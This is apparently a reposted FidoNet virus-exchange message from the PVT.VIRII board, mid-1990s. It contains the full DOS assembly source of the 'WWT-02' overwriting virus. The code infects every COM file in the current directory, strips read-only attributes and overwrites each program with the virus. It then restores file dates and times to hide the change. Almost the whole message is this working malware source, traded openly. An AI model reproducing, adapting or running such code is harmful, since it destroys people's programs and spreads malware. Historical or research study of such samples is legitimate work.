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109 lines
3.7 KiB
NASM
109 lines
3.7 KiB
NASM
;Ä PVT.VIRII (2:465/65.4) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PVT.VIRII Ä
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; Msg : 1 of 61
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; From : MeteO 2:5030/136 Tue 09 Nov 93 09:09
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; To : - *.* - Fri 11 Nov 94 08:10
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; Subj : WWT_02.ASM
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;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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;.RealName: Max Ivanov
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;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
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;* Kicked-up by MeteO (2:5030/136)
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;* Area : VIRUS (Int: ˆä®p¬ æ¨ï ® ¢¨pãá å)
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;* From : Graham Allen, 2:283/718 (06 Nov 94 16:06)
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;* To : Bill Dirks
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;* Subj : WWT_02.ASM
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;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
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;@RFC-Path:
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;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
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;18.n283!not-for-mail
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;@RFC-Return-Receipt-To: Graham.Allen@f718.n283.z2.fidonet.org
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; Virus name WWT-02
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; Description Attack any COM file in current directory
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; Comment Don't change Date/Time, ignore ReadOnly
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; Date 19 Dec 1990 15:30
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; Place CICTT
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;
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segment code
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org 100h
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begin: mov dx,offset FileMask ; FileMask for any COM file
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mov ah,4eh ; Find first file
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mov cx,1 ; including attrib Archive
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int 21h ; Call DOS
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jnc Ok ; If no error -> go on
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jmp short Exit ; If error -> exit program
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Ok
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call Infect ; Do infection
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DoNext
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mov dx,80h ; Set DS:DX to DTA
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mov ah,4fh ; Find Next file
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int 21h ; Call DOS
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jnc NextOk ; If no error -> go on
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jmp short Exit ; If error -> exit
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NextOk
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jmp short Ok ; Still next file exist
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Exit
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int 20h ; Exit to DOS
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Infect
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mov dx,9eh ; Set DS:DX to filename in DTA
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mov ax,4300h ; Get file attribute
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int 21h ; Call DOS
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mov Attrib,cx ; Save attribute for later
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xor cx,cx ; New attribute -> normal file
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mov ax,4301h ; Set attribute
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int 21h ; Call DOS
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mov ax,3d02h ; Open file for Read/Write
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int 21h ; Call DOS
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jc Exit ; If error -> exit
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mov bx,ax ; Save handle
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mov ax,5700h ; Get file Date/Time
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int 21h ; Call DOS
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mov Date,dx ; Save date
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mov Time,cx ; Save time
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mov dx,100h ; DS:DX point to itself
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mov ah,40h ; Write to handle
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mov cx,offset VirusSize-100h ; Write only virus
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int 21h ; Call DOS
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mov ax,5701h ; Restore Date/Time
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mov cx,Time ; Old time
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mov dx,Date ; Old time
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int 21h ; Call DOS
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mov ah,3eh ; Close file
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int 21h ; Call DOS
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mov dx,9eh ; Set DS:DX to filename in DTA
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mov cx,Attrib ; Restore attribute
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mov ax,4301h ; Set file attribute
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int 21h ; Call DOS
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ret ; Return to caller
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FileMask
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db '*.COM',0 ; File mask for any COM file
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Date
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dw ?
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Time
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dw ?
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Attrib
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dw ?
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VirusSize
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db ? ; Used to calculate virus
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; size
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code ends
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end begin
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;-+- FidoPCB v1.4 [NR]
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; + Origin: <Rudy's Place - Israel> Hard disks never die... (2:283/718)
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;=============================================================================
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;
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;Yoo-hooo-oo, -!
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;
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;
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; þ The MeÂeO
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;
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;/3 Enable 32-bit processing
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;
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;--- Aidstest Null: /Kill
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; * Origin: ùPVT.ViRIIúmainúboardú / Virus Research labs. (2:5030/136)
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